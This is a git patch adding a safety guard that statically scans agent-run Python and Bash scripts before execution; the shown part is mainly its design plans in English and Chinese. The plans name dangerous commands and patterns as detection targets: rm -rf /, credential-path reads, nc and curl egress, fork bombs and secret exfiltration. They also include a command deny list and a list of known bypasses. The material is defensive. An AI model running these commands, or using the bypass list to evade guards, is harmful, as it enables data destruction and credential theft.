From 335ad9352614ba3b421251f40328ac09f59a6e95 Mon Sep 17 00:00:00 2001 From: impself <774807698@qq.com> Date: Wed, 15 Jul 2026 10:21:34 +0800 Subject: [PATCH 1/8] feat: add tool script safety guard --- .../tool-script-safety-guard-code-design.md | 545 +++++++++ .omx/plans/tool-script-safety-guard.md | 226 ++++ docs/tool_safety_guard.md | 393 ++++++ examples/tool_safety/README.md | 61 + examples/tool_safety/manifest_run.json | 172 +++ .../tool_safety/samples/01_safe_python.py | 21 + examples/tool_safety/samples/02_safe_bash.sh | 9 + .../samples/03_dangerous_delete.py | 16 + .../tool_safety/samples/04_read_ssh_key.py | 18 + .../samples/05_non_whitelist_network.py | 17 + .../samples/06_whitelist_network.py | 20 + .../samples/07_allowed_subprocess.py | 25 + .../tool_safety/samples/08_shell_injection.py | 18 + .../samples/09_dependency_install.sh | 8 + .../tool_safety/samples/10_infinite_loop.py | 15 + .../samples/11_sensitive_output.py | 17 + .../tool_safety/samples/12_bash_pipeline.sh | 8 + .../tool_safety/samples/13_read_dotenv.sh | 8 + .../samples/14_dynamic_command_review.py | 23 + examples/tool_safety/samples/manifest.yaml | 84 ++ examples/tool_safety/tool_safety_audit.jsonl | 29 + examples/tool_safety/tool_safety_policy.yaml | 105 ++ examples/tool_safety/tool_safety_report.json | 33 + scripts/tool_safety_check.py | 329 ++++++ tests/tool_safety/__init__.py | 1 + tests/tool_safety/conftest.py | 49 + tests/tool_safety/test_audit.py | 76 ++ tests/tool_safety/test_bash_scanner.py | 125 ++ tests/tool_safety/test_cli.py | 78 ++ tests/tool_safety/test_cross_field_scanner.py | 102 ++ tests/tool_safety/test_filter.py | 76 ++ tests/tool_safety/test_guard.py | 80 ++ tests/tool_safety/test_integration.py | 153 +++ tests/tool_safety/test_models.py | 143 +++ tests/tool_safety/test_performance.py | 62 + tests/tool_safety/test_policy.py | 116 ++ tests/tool_safety/test_python_scanner.py | 183 +++ tests/tool_safety/test_redaction.py | 72 ++ tests/tool_safety/test_tool_adapter.py | 72 ++ tests/tool_safety/test_wrapper.py | 128 ++ tool/__init__.py | 71 ++ tool/safety/__init__.py | 62 + tool/safety/_audit.py | 94 ++ tool/safety/_bash_scanner.py | 749 ++++++++++++ tool/safety/_cross_field_scanner.py | 296 +++++ tool/safety/_exceptions.py | 43 + tool/safety/_facts.py | 206 ++++ tool/safety/_filter.py | 393 ++++++ tool/safety/_guard.py | 251 ++++ tool/safety/_models.py | 300 +++++ tool/safety/_policy.py | 426 +++++++ tool/safety/_python_scanner.py | 1050 +++++++++++++++++ tool/safety/_redaction.py | 152 +++ tool/safety/_rules.py | 1010 ++++++++++++++++ tool/safety/_telemetry.py | 197 ++++ tool/safety/_tool_adapter.py | 229 ++++ tool/wrapper.py | 343 ++++++ 57 files changed, 9588 insertions(+) create mode 100644 .omx/plans/tool-script-safety-guard-code-design.md create mode 100644 .omx/plans/tool-script-safety-guard.md create mode 100644 docs/tool_safety_guard.md create mode 100644 examples/tool_safety/README.md create mode 100644 examples/tool_safety/manifest_run.json create mode 100644 examples/tool_safety/samples/01_safe_python.py create mode 100644 examples/tool_safety/samples/02_safe_bash.sh create mode 100644 examples/tool_safety/samples/03_dangerous_delete.py create mode 100644 examples/tool_safety/samples/04_read_ssh_key.py create mode 100644 examples/tool_safety/samples/05_non_whitelist_network.py create mode 100644 examples/tool_safety/samples/06_whitelist_network.py create mode 100644 examples/tool_safety/samples/07_allowed_subprocess.py create mode 100644 examples/tool_safety/samples/08_shell_injection.py create mode 100644 examples/tool_safety/samples/09_dependency_install.sh create mode 100644 examples/tool_safety/samples/10_infinite_loop.py create mode 100644 examples/tool_safety/samples/11_sensitive_output.py create mode 100644 examples/tool_safety/samples/12_bash_pipeline.sh create mode 100644 examples/tool_safety/samples/13_read_dotenv.sh create mode 100644 examples/tool_safety/samples/14_dynamic_command_review.py create mode 100644 examples/tool_safety/samples/manifest.yaml create mode 100644 examples/tool_safety/tool_safety_audit.jsonl create mode 100644 examples/tool_safety/tool_safety_policy.yaml create mode 100644 examples/tool_safety/tool_safety_report.json create mode 100644 scripts/tool_safety_check.py create mode 100644 tests/tool_safety/__init__.py create mode 100644 tests/tool_safety/conftest.py create mode 100644 tests/tool_safety/test_audit.py create mode 100644 tests/tool_safety/test_bash_scanner.py create mode 100644 tests/tool_safety/test_cli.py create mode 100644 tests/tool_safety/test_cross_field_scanner.py create mode 100644 tests/tool_safety/test_filter.py create mode 100644 tests/tool_safety/test_guard.py create mode 100644 tests/tool_safety/test_integration.py create mode 100644 tests/tool_safety/test_models.py create mode 100644 tests/tool_safety/test_performance.py create mode 100644 tests/tool_safety/test_policy.py create mode 100644 tests/tool_safety/test_python_scanner.py create mode 100644 tests/tool_safety/test_redaction.py create mode 100644 tests/tool_safety/test_tool_adapter.py create mode 100644 tests/tool_safety/test_wrapper.py create mode 100644 tool/__init__.py create mode 100644 tool/safety/__init__.py create mode 100644 tool/safety/_audit.py create mode 100644 tool/safety/_bash_scanner.py create mode 100644 tool/safety/_cross_field_scanner.py create mode 100644 tool/safety/_exceptions.py create mode 100644 tool/safety/_facts.py create mode 100644 tool/safety/_filter.py create mode 100644 tool/safety/_guard.py create mode 100644 tool/safety/_models.py create mode 100644 tool/safety/_policy.py create mode 100644 tool/safety/_python_scanner.py create mode 100644 tool/safety/_redaction.py create mode 100644 tool/safety/_rules.py create mode 100644 tool/safety/_telemetry.py create mode 100644 tool/safety/_tool_adapter.py create mode 100644 tool/wrapper.py diff --git a/.omx/plans/tool-script-safety-guard-code-design.md b/.omx/plans/tool-script-safety-guard-code-design.md new file mode 100644 index 00000000..0d85ae1a --- /dev/null +++ b/.omx/plans/tool-script-safety-guard-code-design.md @@ -0,0 +1,545 @@ +# Tool Script Safety Guard - Code Design + +## 0. Scope amendment (plan only) + +This document is an implementation plan only. Do not implement it in this task. + +When implementation is later authorized, it must add files only. It must not modify any existing file under `trpc_agent_sdk/`, `tests/`, `examples/`, project configuration, or telemetry/filter/code-executor implementation. The deliverable is an independent reference package rooted at `tool/safety/`, accompanied by newly added tests, examples, and documentation. Its wrapper demonstrates the pre-execution seam without wiring into the framework core. + +This section takes precedence over earlier integration descriptions: core Filter ordering, existing tool tracing, and existing CodeExecutor behavior are documented as future integration points, not files to change in this scoped implementation. + +## 1. Implementation target + +Build a deep safety module with one small decision interface. The scanner is pure and synchronous; execution-chain adapters own blocking, audit I/O, and telemetry. This keeps rule testing deterministic and lets Tool, Skill, MCP Tool, and CodeExecutor reuse the same decision engine. + +The first release is a pre-execution guard, not a sandbox. It must fail closed on policy or scanner failures, block both `deny` and `needs_human_review` unless an external reviewer explicitly approves, and never place raw scripts, environment values, or secrets in reports, audit logs, metrics, or spans. + +## 2. File layout + +```text +tool/ + __init__.py + safety/ + __init__.py # deliberately small public surface + _models.py # request, finding, report, event, enums + _policy.py # YAML loading, validation, normalization, hash + _guard.py # ToolSafetyGuard aggregation and decision + _rules.py # SafetyRule protocol and default rule registry + _facts.py # internal normalized facts + _python_scanner.py # AST fact extraction + _bash_scanner.py # shell lexer/parser-lite fact extraction + _cross_field_scanner.py # args/cwd/env/tool metadata correlations + _redaction.py # evidence and telemetry redaction + _audit.py # AuditSink, JSONL and in-memory adapters + _telemetry.py # span attributes and safety metrics + _tool_adapter.py # tool input -> SafetyScanRequest + _filter.py # terminal pre-execution Tool filter + _exceptions.py # typed policy/scanner/audit errors + wrapper.py # generic pre-execution callable wrapper +scripts/ + tool_safety_check.py +tests/ + tool_safety/ +scripts/ + tool_safety_check.py +examples/tool_safety/ + tool_safety_policy.yaml + samples/ + tool_safety_report.json + tool_safety_audit.jsonl + README.md +tests/ + tools/safety/ + test_policy.py + test_guard.py + test_python_scanner.py + test_bash_scanner.py + test_cross_field_scanner.py + test_redaction.py + test_audit.py + test_filter.py + test_tool_adapter.py + test_performance.py + test_wrapper.py + test_cli.py +examples/ + tool_safety/ + tool_safety_policy.yaml + samples/ + tool_safety_report.json + tool_safety_audit.jsonl +docs/ + tool_safety_guard.md +``` + +Do not create one class per rule. Use three substantial rule modules (Python, Bash, cross-field) that extract reusable facts once and evaluate a rule catalog. This gives the module depth and avoids traversing the same script six times. + +## 3. Public interfaces + +Only export the types callers need: + +```python +from trpc_agent_sdk.tools.safety import ( + AuditSink, + JsonlAuditSink, + SafetyAuditEvent, + SafetyDecision, + SafetyFinding, + SafetyReport, + SafetyRule, + SafetyScanRequest, + ToolSafetyGuard, + ToolScriptSafetyFilter, + load_safety_policy, +) +``` + +Core scanner interface: + +```python +class SafetyRule(Protocol): + def scan( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + ) -> Iterable[SafetyFinding]: ... + + +class ToolSafetyGuard: + def __init__( + self, + policy: ToolSafetyPolicy, + *, + rules: Sequence[SafetyRule] | None = None, + ) -> None: ... + + def scan(self, request: SafetyScanRequest) -> SafetyReport: ... +``` + +`scan` performs no file writes, network access, process creation, or telemetry emission. Custom rules are appended to the defaults unless the caller explicitly constructs a replacement rule list. + +Audit seam: + +```python +class AuditSink(Protocol): + async def emit(self, event: SafetyAuditEvent) -> None: ... +``` + +`JsonlAuditSink` serializes one event per line with an async lock and performs the short blocking append in `asyncio.to_thread`. `InMemoryAuditSink` remains test-only. + +## 4. Data models and invariants + +Use Pydantic models with `ConfigDict(extra="forbid")`. Policy and report models should be immutable where practical. + +```python +class SafetyScanRequest(BaseModel): + tool_name: str + tool_kind: ToolKind + language: ScriptLanguage + script: str = Field(repr=False) + argv: tuple[str, ...] = () + cwd: str | None = None + env: Mapping[str, str] = Field(default_factory=dict, repr=False) + metadata: Mapping[str, JsonValue] = Field(default_factory=dict) + requested_timeout_seconds: float | None = None + + +class SafetyFinding(BaseModel): + rule_id: str + category: RiskCategory + risk_level: RiskLevel + decision: SafetyDecision + evidence: Evidence + recommendation: str + + +class SafetyReport(BaseModel): + report_id: str + decision: SafetyDecision + risk_level: RiskLevel + rule_ids: tuple[str, ...] + findings: tuple[SafetyFinding, ...] + recommendation: str + policy_hash: str + script_sha256: str + scan_duration_ms: float + redacted: bool +``` + +Invariants: + +- Reports never serialize `script`, raw `argv`, `cwd`, or environment values. +- Evidence contains a bounded, redacted snippet (default 160 characters), line and column when available. +- `rule_ids` are sorted and de-duplicated for stable output. +- Aggregate decision precedence is `deny > needs_human_review > allow`. +- Aggregate risk precedence is `critical > high > medium > low > info`. +- A report with no findings is `allow/info`; a parse ambiguity or unsupported execution shape is `needs_human_review/medium`, never silent allow. +- Policy hash is SHA-256 over canonical JSON after validation and normalization. + +## 5. Policy module + +`load_safety_policy(path)` reads YAML with `yaml.safe_load`, validates it through Pydantic, normalizes hosts, paths, and commands, and raises a typed `SafetyPolicyError` before any tool is registered. + +Suggested top-level schema: + +```yaml +version: 1 +defaults: + unknown_construct: needs_human_review + guard_error: deny + human_review_blocks_execution: true +limits: + max_timeout_seconds: 30 + max_output_bytes: 1048576 + max_script_bytes: 262144 + max_sleep_seconds: 10 + max_parallel_tasks: 32 +network: + allow_domains: [api.github.com, "*.internal.example.com"] + deny_ip_literals: true +commands: + allow: [python, python3, pytest, git] + deny: [sudo, su, chmod, chown, mount, nc, ncat] +paths: + deny: + - ~/.ssh + - /etc + - /root + - .env + - "**/*credentials*" +dependencies: + decision: needs_human_review +tools: + workspace_exec: + execution_capable: true + language: bash + fields: + script: command + cwd: cwd + env: env + timeout: timeout_sec +``` + +Normalization rules: + +- Domains are lowercase, IDNA-normalized, and stripped of a trailing dot. Wildcards match exactly one declared suffix and never use substring matching. +- Paths use lexical normalization only. Static scanning must not touch the filesystem or claim to resolve symlinks. +- Command allowlisting applies to the parsed executable basename. Any shell operator, substitution, redirection, background marker, or secondary command is independently evaluated. +- Invalid YAML, unknown keys, invalid enum values, negative limits, or an unusable tool-field mapping fail startup. + +Changing the YAML must change domains, denied paths, allowed commands, limits, and per-rule action without a code modification. + +## 6. Scanner implementation + +### 6.1 Common fact model + +The two language scanners produce internal `ScriptFacts` containing normalized observations: + +```text +file accesses, file writes, URLs/hosts, imported modules, function calls, +executables, shell operators, pipelines, redirections, background jobs, +loops, sleeps, concurrency/fork primitives, dependency installs, +secret sources, output/file/network sinks, dynamic or unresolved expressions +``` + +Facts carry source location and a bounded source slice. Evaluators convert facts into stable findings using a central rule catalog. Rule IDs should be stable strings such as: + +```text +FILE001_RECURSIVE_DELETE +FILE002_DENIED_PATH +FILE003_CREDENTIAL_READ +NET001_NON_ALLOWLIST_HOST +NET002_DYNAMIC_DESTINATION +PROC001_SUBPROCESS +PROC002_SHELL_OPERATOR +PROC003_PRIVILEGE_ESCALATION +DEP001_ENVIRONMENT_MUTATION +RES001_UNBOUNDED_LOOP +RES002_FORK_BOMB +RES003_EXCESSIVE_SLEEP +RES004_LARGE_WRITE +SEC001_SECRET_TO_OUTPUT +SEC002_SECRET_TO_FILE +SEC003_SECRET_TO_NETWORK +ANL001_PARSE_AMBIGUITY +``` + +### 6.2 Python scanner + +Parse with `ast.parse`; syntax errors yield `ANL001_PARSE_AMBIGUITY` and human review. Build an alias table so `import requests as r`, `from subprocess import run`, and simple assigned aliases resolve to canonical calls. + +Recognize at minimum: + +- `os.remove/unlink/rmdir`, `shutil.rmtree`, `Path.unlink/rmdir/write_text/write_bytes`, and `open(..., "w"/"a"/"x")`. +- Reads of `.env`, `~/.ssh`, private key files, cloud credential paths, netrc, kube config, and names containing credential/token/secret patterns. +- `requests.*`, `aiohttp`, `urllib`, `httpx`, and `socket` destinations. Literal allowlisted hosts pass; non-allowlisted literals deny; computed destinations require review. +- `subprocess.*`, `os.system`, `os.popen`, `pty.spawn`, multiprocessing/process creation, `shell=True`, and command strings containing shell grammar. +- Dependency mutation through `pip`, `python -m pip`, `npm/yarn/pnpm`, `apt/apt-get`, `apk`, `yum/dnf`, `brew`, and conda install commands. +- `while True`, obviously non-terminating loops, `os.fork`, multiprocessing explosions, very long sleeps, oversized constant writes, and excessive constant fan-out. +- Taint from `os.environ`, `getenv`, credential files, private-key literals, and secret-looking variables into `print`, logging, file writes, subprocess arguments, and network payload/query/header sinks. + +Keep taint analysis deliberately local: literals, names, direct assignments, f-strings, concatenation, and shallow container construction. More dynamic flows become human review rather than a false claim of safety. + +### 6.3 Bash scanner + +Implement a conservative lexer rather than executing or expanding the shell. Preserve quoting state and source offsets, split command segments at `;`, newline, `&&`, `||`, `|`, `&`, redirections, command substitution, and process substitution. + +Detect at minimum: + +- `rm -rf/-fr`, recursive overwrite/copy into denied paths, destructive `find -delete`, and reads of denied credential paths through `cat`, `sed`, `awk`, `source`, `.`, `grep`, `head`, and `tail`. +- `curl`, `wget`, `nc/ncat`, `ssh/scp`, and URLs passed to common CLIs. Dynamic host expressions require review. +- Pipelines, command substitution, `eval`, `bash -c`, `sh -c`, background jobs, privilege escalation, and commands outside the allowlist. +- Package installation commands and shell downloads piped into an interpreter. +- `while true`, `for ((;;))`, fork-bomb token patterns, long sleeps, unbounded background loops, and large constant generators such as `dd`/`fallocate` beyond policy. +- Secret environment variables or credential-file content flowing into `echo`, `printf`, loggers, redirection targets, or network arguments. + +Malformed quoting or unsupported shell grammar yields review. Never use `shell=True` to validate a script. + +### 6.4 Cross-field scanner + +Evaluate request fields together: + +- Reject denied or escaping working directories. +- Compare requested timeout with policy maximum. +- Scan `argv` as data and reject option injection where a tool adapter marks an argument as an executable or destination. +- Inspect environment variable names and values only in memory. Values matching secrets become taint sources and are immediately registered with the redactor. +- Use `metadata` to recognize MCP server identity, Skill name, CodeExecutor type, and declared sandbox/resource limits. +- An execution-capable Tool without a valid mapping is `needs_human_review`. + +## 7. Decision engine + +`ToolSafetyGuard.scan` should be short and deterministic: + +```python +def scan(self, request: SafetyScanRequest) -> SafetyReport: + started = perf_counter() + validate_request_size(request, self._policy) + findings = [ + finding + for rule in self._rules + for finding in rule.scan(request, self._policy) + ] + findings = deduplicate_and_redact(findings, request.env.values()) + return build_report( + request=request, + policy=self._policy, + findings=findings, + elapsed_ms=(perf_counter() - started) * 1000, + ) +``` + +Unexpected programmer defects should propagate in direct scanner use. Execution adapters catch only typed guard exceptions, convert them to `GUARD001_INTERNAL_ERROR` with a `deny/critical` decision, and log the exception without request content. This makes the production path fail closed without hiding defects in tests. + +## 8. Tool, Skill, and MCP integration + +### 8.1 Terminal filter ordering + +The current runner appends callback filters after normal Tool filters, so a callback can mutate a safe command into a dangerous one. Add a minimal ordering seam: + +```python +class BaseFilter(FilterABC): + @property + def terminal_before_handler(self) -> bool: + return False +``` + +`FilterRunner` composes filters as: + +```python +normal_filters + extra_filters + terminal_filters +``` + +Apply the same composition to regular and streaming runners. Existing filters retain current order; only filters opting into the terminal phase move after callback filters. Add a regression test in which a callback changes `echo ok` to `rm -rf /` and the terminal safety filter blocks before the handler spy is called. + +### 8.2 ToolScriptSafetyFilter + +`ToolScriptSafetyFilter.terminal_before_handler` returns `True`. Its `_before` method: + +1. Gets the current Tool identity and invocation context. +2. Uses `ToolRequestAdapter` plus policy field mappings to create `SafetyScanRequest`. +3. Scans once and builds one `SafetyAuditEvent`. +4. Stores sanitized trace arguments in invocation-local telemetry state. +5. Sets current-span safety attributes and records dedicated counters/histogram. +6. Emits the audit event before allowing execution. +7. For `deny` or `needs_human_review`, sets `rsp.is_continue = False` and returns a structured blocked response containing the report ID, decision, risk, rule IDs, evidence, and recommendation. + +Built-in adapters: + +| Tool | script | cwd | env | timeout | +|---|---|---|---|---| +| `workspace_exec` | `command` | `cwd` | `env` | `timeout_sec` | +| `skill_run` | `command` | `cwd` | `env` | `timeout` | +| `skill_exec` | `command` | `cwd` | `env` | `timeout` | + +MCP and custom execution Tools use the same declarative YAML mapping. A Tool marked `execution_capable` but lacking a usable mapping is blocked for human review. + +Registration example: + +```python +policy = load_safety_policy("tool_safety_policy.yaml") +guard = ToolSafetyGuard(policy) +safety_filter = ToolScriptSafetyFilter( + guard=guard, + audit_sink=JsonlAuditSink("tool_safety_audit.jsonl"), +) + +tool = WorkspaceExecTool(filters=[safety_filter]) +``` + +V1 guarantees filtering for non-streaming executable Tools, which includes the named Skill execution Tools and normal MCP Tools. Document that a future streaming executor must call the same guard or gain a common guarded entry path; do not imply `BaseTool.run_async` protects a `run_streaming` override that bypasses it. + +## 9. CodeExecutor wrapper + +Add `SafetyCheckedCodeExecutor(BaseCodeExecutor)` as an adapter around an existing executor. A `wrap(...)` classmethod copies the delegate's behavior fields (`stateful`, delimiters, retry settings, workspace runtime, and related BaseCodeExecutor options) so consumers can replace the executor without changing agent code. + +Execution flow: + +```python +async def execute_code(self, execution_input: CodeExecutionInput) -> CodeExecutionResult: + requests = build_requests_for_code_blocks(execution_input) + report = SafetyReport.combine(self._guard.scan(item) for item in requests) + await self._audit_sink.emit(event_from(report)) + record_safety_telemetry(report) + if report.decision is not SafetyDecision.ALLOW: + return CodeExecutionResult( + outcome=Outcome.OUTCOME_FAILED, + output=render_blocked_result(report), + ) + result = await self._delegate.execute_code(execution_input) + return truncate_execution_output(result, self._policy.limits.max_output_bytes) +``` + +The base executor interface has no universal timeout parameter. Therefore the wrapper must not pretend it can enforce runtime timeout for every delegate. The caller supplies an `effective_timeout_seconds`, or a known executor adapter extracts it. If the guard cannot establish that the effective timeout is within policy, execution needs human review. Real CPU, memory, process-count, filesystem, and network enforcement remains the workspace runtime/sandbox responsibility. + +## 10. Redaction, audit, and telemetry + +Redaction runs before serialization. It covers actual environment values plus recognizable bearer tokens, API keys, passwords, private-key blocks, cloud access keys, and secret assignments. Evidence is truncated after redaction. Unit tests must assert secret literals are absent from `model_dump_json()`, JSONL, logger capture, and span export. + +Audit event fields: + +```text +event_id, timestamp, report_id, invocation_id, tool_name, tool_kind, +decision, risk_level, rule_ids, duration_ms, redacted, blocked, +policy_hash, script_sha256, scanner_version +``` + +Do not emit raw script, command, arguments, environment, cwd, or unredacted evidence into JSONL. + +Set these span attributes when OpenTelemetry is active; no-op safely when no span is recording: + +```text +tool.safety.decision +tool.safety.risk_level +tool.safety.rule_id # comma-separated bounded list +tool.safety.blocked +tool.safety.redacted +tool.safety.scan_duration_ms +tool.safety.policy_hash +``` + +Add dedicated metrics: + +```text +trpc_agent.tool_safety.scan_count{decision,risk_level,tool_name} +trpc_agent.tool_safety.block_count{decision,rule_id,tool_name} +trpc_agent.tool_safety.scan_duration_ms{decision,tool_name} +``` + +### Trace argument leak fix + +The current tool processor traces original `arguments` after execution. Add an invocation-scoped `ToolTraceState` held by `ContextVar`: + +```python +token = begin_tool_trace_scope() +try: + result = await tool.run_async(...) + trace_tool_call(args=get_trace_arguments_or(arguments), ...) +finally: + end_tool_trace_scope(token) +``` + +The safety filter writes redacted arguments into the active state. Scope setup and cleanup belong in the tool processor, covering both success and error paths and preserving isolation across concurrent tool calls. This is safer than a global cache and keeps raw secrets out of existing spans. + +## 11. CLI and examples + +Use `argparse` to avoid a new dependency. Make `main(argv: Sequence[str] | None = None) -> int` directly testable. + +```text +python scripts/tool_safety_check.py \ + --policy examples/tool_safety/tool_safety_policy.yaml \ + --language python \ + --script-file examples/tool_safety/samples/safe_python.py \ + --tool-name demo \ + --output tool_safety_report.json \ + --audit-file tool_safety_audit.jsonl +``` + +Also support `--request-json` for complete inputs and `--manifest` to scan all public samples. Exit codes: `0=allow`, `2=deny`, `3=needs_human_review`, `4=invalid input/policy`. + +Provide at least these 14 manifest cases: + +```text +safe_python, safe_bash, dangerous_recursive_delete, credential_read, +non_allowlist_network, allowlist_network, subprocess_call, shell_injection, +dependency_install, infinite_loop, secret_output, bash_pipeline, +dynamic_url_review, dynamic_command_review +``` + +Each case declares expected decision and expected rule IDs. The manifest runner writes an array of reports and one audit line per scan. + +## 12. Test-first coding order + +Implement in small, independently verifiable slices: + +1. **Models and policy**: enums, immutable models, YAML validation, normalization, canonical hash. Tests cover unknown keys, wildcard host semantics, path normalization, and policy-only behavior changes. +2. **Redaction**: bounded evidence and environment-value scrubbing. Tests serialize every output surface and assert the secret is absent. +3. **Python vertical slice**: safe script, recursive deletion, credential read, allowlisted/non-allowlisted network, subprocess, install, loop, and secret output through the public `ToolSafetyGuard.scan` interface. +4. **Bash vertical slice**: safe command, `rm -rf`, credential read, pipeline/injection, install, fork bomb, long sleep, network rules, and ambiguity review. +5. **Cross-field checks**: cwd, argv, env, timeout, unknown execution-capable Tool, and report aggregation. +6. **Audit and telemetry**: one event per attempt, required fields, concurrency isolation, span attributes, metrics, and no raw arguments. +7. **Terminal Filter integration**: callback mutation, handler spy, all three decisions, fail-closed scanner/audit errors, and Skill/MCP-style mapped inputs. +8. **CodeExecutor adapter**: fake delegate proves deny/review never calls it, allow calls exactly once, output is capped, and unknown timeout requires review. +9. **CLI and deliverables**: manifest execution, JSON schema, exit codes, example report/audit, and README. +10. **Performance and regression**: warm up once, scan a deterministic 500-line Python and Bash fixture repeatedly, assert p95 below 1 second, then run the full test suite and linters. + +Primary tests should use public module interfaces. Test internal parsers only for lexer/AST edge cases that are otherwise hard to diagnose. + +## 13. Acceptance mapping + +| Acceptance requirement | Code/test proof | +|---|---| +| 12+ runnable samples | manifest CLI integration test and 14 fixtures | +| high-risk detection >= 90% | parameterized benchmark matrix with explicit denominator | +| safe false positives <= 10% | separate benign corpus and rate assertion | +| key read/delete/non-allowlist = 100% | mandatory category parameterization for Python and Bash | +| 500 lines < 1 second | deterministic p95 performance test | +| structured fields | Pydantic schema and JSON snapshot tests | +| policy changes behavior | load two YAML policies against identical input | +| pre-execution block + audit | terminal Filter handler-spy integration test | +| telemetry fields | in-memory OTel exporter/metric reader assertions | +| cannot replace sandbox | README threat-model and responsibility matrix | + +## 14. Documentation boundary statement + +The README must state the responsibility split plainly: + +```text +Filter / Safety Guard: pre-execution static policy decision and redaction. +CodeExecutor adapter: applies the same decision before delegated execution. +Sandbox / workspace runtime: runtime isolation and hard resource/network/filesystem limits. +Telemetry / audit: evidence that a decision occurred; not an enforcement mechanism. +``` + +Known bypasses include obfuscation, dynamic code generation, runtime downloads, symlink races, encoded payloads, reflection, native extensions, interpreter bugs, shell grammar not modeled by the parser-lite scanner, indirect data flow, and behavior that depends on runtime state. These limits justify human review for ambiguity and make sandboxing mandatory even after an `allow` decision. + +## 15. Definition of done + +- Public interfaces and example imports are stable and documented. +- `deny` and `needs_human_review` cannot reach the real handler/delegate by default. +- Every attempt emits exactly one sanitized audit event before execution or blocking response. +- Existing Tool filters preserve behavior except for the opt-in terminal ordering seam. +- Tool tracing no longer records raw guarded arguments. +- All 14 examples match expected decisions and mandatory categories reach 100%. +- The 500-line performance test passes with margin, not just at the one-second boundary. +- Full targeted tests, formatting, lint, and type checks pass. +- Documentation explicitly says the guard reduces risk but cannot replace a sandbox. diff --git a/.omx/plans/tool-script-safety-guard.md b/.omx/plans/tool-script-safety-guard.md new file mode 100644 index 00000000..f7093747 --- /dev/null +++ b/.omx/plans/tool-script-safety-guard.md @@ -0,0 +1,226 @@ +# Tool Script Safety Guard 实施计划 + +## 范围修订：仅维护计划，后续实现必须全量新增 + +本任务仅更新计划，不进行编码。后续获准实施时，只能在根目录新增 `tool/safety/`、`tests/tool_safety/`、`examples/tool_safety/`、`scripts/` 与 `docs/` 下的文件；不得修改 `trpc_agent_sdk/`、已有测试、示例、项目配置、Telemetry、Filter 或 CodeExecutor 的任何既有文件。文档中的框架直接接入改为未来集成点，本次范围仅提供独立 wrapper 示例。 + +## 1. 需求摘要 + +为 Python 与 Bash 执行建立一条可审计的前置安全门：输入脚本、argv、cwd、env 与 tool 元数据，经过可插拔规则扫描后输出 `allow`、`deny` 或 `needs_human_review`。`deny` 与未获批准的 `needs_human_review` 必须在任何文件、网络或进程副作用发生前终止；所有决策都必须产生脱敏报告、JSONL 审计事件和 OpenTelemetry 属性。 + +本次交付覆盖 Tool、MCP Tool、Skill 命令执行和 CodeExecutor。静态 Guard 是纵深防御的一层，不承诺替代容器、远端沙箱、操作系统权限、网络 egress、cgroup/ulimit 或运行时超时。 + +## 2. 第一性原理 + +### 2.1 要保护的资产 + +1. 主机与工作区完整性：系统目录、源码、配置和凭据不能被未授权读取、覆盖或删除。 +2. 数据机密性：环境变量、API Key、token、密码、私钥不能流向日志、文件或非授权网络目标。 +3. 执行环境完整性：脚本不能任意提权、拉起隐藏进程或安装依赖改变环境。 +4. 服务可用性：脚本不能通过无限循环、fork、长 sleep、超量并发或巨量输出耗尽资源。 +5. 可追责性：每次执行尝试都能回答“谁、用什么 tool、触发哪条规则、是否被阻断、扫描耗时多少”。 + +### 2.2 必须成立的安全不变量 + +1. **先判断，后副作用**：最终安全检查位于参数完成解析/回调修改之后、`_run_async_impl`、`run_program`、`start_program` 或 `execute_code` 之前。 +2. **不确定不等于安全**：解析失败、动态构造目标、未知语言和无法解析的间接执行至少进入 `needs_human_review`，不能默认 `allow`。 +3. **高危命中不可被普通白名单覆盖**：允许命令只能放行“直接执行该命令”的基础风险，不能覆盖危险参数、禁止路径、非白名单域名、shell 注入或敏感信息外传。 +4. **安全系统本身不泄密**：报告、审计、日志与 span 不保存原始 env 值、完整脚本或未脱敏证据；只保存受限证据、哈希和低基数字段。 +5. **决策可重现**：相同规范化请求、策略版本和规则集合必须得到相同 findings 与决策；时间戳、scan id 不参与决策。 +6. **静态判断与运行时隔离分责**：Guard 负责预判和拦截；沙箱、网络策略和资源控制负责阻止静态分析无法看见的运行时行为。 + +### 2.3 可知与不可知 + +- 静态可知：字面量路径/URL/命令、Python AST 调用、Bash 运算符与重定向、明显 source-to-sink 数据流、显式超时和并发常量。 +- 静态不可完全知：反射、动态 import、`eval`/解码后执行、运行时拼接、软链接、DNS rebinding、HTTP redirect、下载后二阶段 payload、原生扩展副作用。 +- 推论：规则引擎必须同时拥有确定性 `deny` 规则和保守的 `needs_human_review` 规则；文档必须明确绕过面，并要求生产环境继续使用沙箱。 + +## 3. 仓库现状与接入依据 + +- `BaseTool.run_async` 已在 `_run_async_impl` 前运行 Tool Filter，天然适合前置检查：`trpc_agent_sdk/tools/_base_tool.py:156`、`trpc_agent_sdk/tools/_base_tool.py:183`、`trpc_agent_sdk/tools/_base_tool.py:185`。 +- `BaseFilter` 在 `_before` 设置 `is_continue=False` 时不会调用真实 handler：`trpc_agent_sdk/filter/_base_filter.py:208`、`trpc_agent_sdk/filter/_base_filter.py:215`、`trpc_agent_sdk/filter/_base_filter.py:219`。 +- Tool Filter 已有注册入口：`trpc_agent_sdk/filter/_registry.py:169`。 +- `workspace_exec` 的 `command/cwd/env/timeout_sec/background` 在执行前都位于 args：`trpc_agent_sdk/skills/tools/_workspace_exec.py:144`，真实执行从 `trpc_agent_sdk/skills/tools/_workspace_exec.py:288` 开始。 +- `skill_run` 与 `skill_exec` 已暴露 filters，并分别在 `run_program`/`start_program` 前持有完整输入：`trpc_agent_sdk/skills/tools/_skill_run.py:372`、`trpc_agent_sdk/skills/tools/_skill_run.py:640`、`trpc_agent_sdk/skills/tools/_skill_exec.py:314`、`trpc_agent_sdk/skills/tools/_skill_exec.py:400`。 +- CodeExecutor 的统一边界是 `BaseCodeExecutor.execute_code`：`trpc_agent_sdk/code_executors/_base_code_executor.py:98`；各实现目前直接执行 block，例如 `UnsafeLocalCodeExecutor` 在 `trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:59`。 +- 运行规格已有 timeout 与 CPU/内存/PID 字段，但并非所有 runtime 都强制消费这些限制：`trpc_agent_sdk/code_executors/_types.py:110`、`trpc_agent_sdk/code_executors/_types.py:125`。 +- 工具 span 在执行前已创建：`trpc_agent_sdk/agents/core/_tools_processor.py:343`；现有 tracing 会写入原始 args：`trpc_agent_sdk/agents/core/_tools_processor.py:438`、`trpc_agent_sdk/telemetry/_trace.py:304`。安全方案必须同时修复这条二次泄漏路径。 +- PyYAML、Pydantic 与 OpenTelemetry 